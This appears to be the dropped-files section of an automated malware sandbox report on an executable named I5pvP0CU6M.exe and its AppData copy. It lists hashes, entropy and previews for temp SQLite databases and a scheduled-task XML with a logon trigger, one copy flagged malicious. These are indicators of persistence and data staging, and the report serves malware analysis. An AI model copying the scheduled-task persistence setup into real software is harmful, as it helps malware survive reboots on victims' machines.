SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4733.tmp

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1595
Entropy (8bit):	5.098188099867554
Encrypted:	false
SSDEEP:	24:2di4+S2qhHb1eHky1mIHdUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtL0xvn:cge7QYrFdOFzOzN33ODOiDdKrsuTwv
MD5:	4700BC65C015B33E95795A2C680A45A0
SHA1:	EC1119C04CDC067D631E546B7EF967898F2220FD
SHA-256:	257BBDE300ABF787E0519345C28AB5DC99DBA0E2988F22D8D724EB51888FEAFF
SHA-512:	E322A63621A4BF0A137EE2685663E7EDF8B81D74B9E96495F608031F03E1E3CF0036B0D755C24DCE39FC98D8736128E157B999BD7A8E8A06CFBD3BB9A9D47C79
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <Run

C:\Users\user\AppData\Local\Temp\tmp53D5.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5F2D.tmp

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5F4E.tmp

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5F4F.tmp

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5F5F.tmp

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5F70.tmp

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5F71.tmp

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5F82.tmp

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5F92.tmp

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5FA3.tmp

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp7075.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1595
Entropy (8bit):	5.098188099867554
Encrypted:	false
SSDEEP:	24:2di4+S2qhHb1eHky1mIHdUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtL0xvn:cge7QYrFdOFzOzN33ODOiDdKrsuTwv
MD5:	4700BC65C015B33E95795A2C680A45A0
SHA1:	EC1119C04CDC067D631E546B7EF967898F2220FD
SHA-256:	257BBDE300ABF787E0519345C28AB5DC99DBA0E2988F22D8D724EB51888FEAFF
SHA-512:	E322A63621A4BF0A137EE2685663E7EDF8B81D74B9E96495F608031F03E1E3CF0036B0D755C24DCE39FC98D8736128E157B999BD7A8E8A06CFBD3BB9A9D47C79
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <Run

C:\Users\user\AppData\Local\Temp\tmp73DB.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp73FC.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp73FD.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp741D.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp742E.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp743E.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp744F.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp8E11.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp8E21.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp8E22.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp8E33.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp8E34.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp8E44.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\VcihjWRO.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
